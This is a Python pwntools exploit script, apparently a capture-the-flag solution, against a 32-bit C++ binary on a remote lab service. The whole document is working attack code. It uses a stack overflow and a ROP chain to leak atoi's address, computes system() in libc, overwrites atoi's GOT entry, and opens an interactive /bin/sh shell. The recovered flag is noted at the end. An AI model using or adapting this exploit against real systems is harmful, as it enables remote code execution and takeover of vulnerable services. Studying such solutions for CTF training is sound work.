#!/usr/bin/env python
from pwn import  *
import time


cpp = ELF('./cpp')
libc = ELF('./libc.so.6-32')

# Stack_Cout:
#	 0xffffcfd0 --> 0x804a100 (:cout@@GLIBCXX_3.4>:	0xf7fb466c)
#        0xffffcfd4 --> 0x8048d4c "target string"
#
# Stack_flush:
#	 0xffffd5f0 --> 0x804a100 
#	 0xffffd5f4 --> 0x80486b0 
#
# Stack_width:
#        0xffffcfd0 --> 0x804a068 (:cin@@GLIBCXX_3.4+8>:)
#        0xffffcfd4 --> 0x4  (width)
#       
# Stack_Cin:
#	 0xffffcfd0 --> 0x804a060 (:cin@@GLIBCXX_3.4>:	0xf7fb3ecc)
#	 0xffffcfd4 --> 0xfffxxxx (target address

# overflow offset = 41

cout = 0x8048660
flush = 0x80486a0

cin = 0x8048690
width = 0x8048c00

pop2ret = 0x8048c7e

r = remote('192.168.31.25',12018)
#r = process('./cpp')
#print r.proc.pid
#a = raw_input()

payload = ''
payload += p32(cout) + p32(pop2ret) + p32(0x804a100) + p32(cpp.got['atoi'])
payload += p32(flush) + p32(pop2ret) + p32(0x804a100) + p32(0x80486b0)
payload += p32(cin) + p32(pop2ret) + p32(0x804a060) +p32(cpp.got['atoi'])
payload += p32(cpp.plt['atoi']) + 'A'*4 + p32(cpp.got['atoi'] + 4 )

res = r.recvuntil('name:')
#rint res

r.sendline('A'*18+'\x00\xff\xff')

res = r.recvuntil('10. C++')
#rint res 

r.sendline('1')

r.recvuntil('?')
r.sendline('A'*41 + payload)

r.recvuntil('day!\n')
res = r.recv(numb=4)
libc_atoi = u32(res)
libc_base = libc_atoi - libc.symbols['atoi']
libc_sys  = libc_base + libc.symbols['system']
#libc_binsh = libc_base + list(libc.search('/bin/sh'))[0]
print 'libc_atoi=',  hex(libc_atoi)
print 'libc_sys=',   hex(libc_sys)
#print 'libc_binsh=', hex(libc_binsh)
r.sendline(p32(libc_sys)+'/bin/sh')
r.interactive()



# AD{C1n_H3LLo!_cou7_WOrld!}
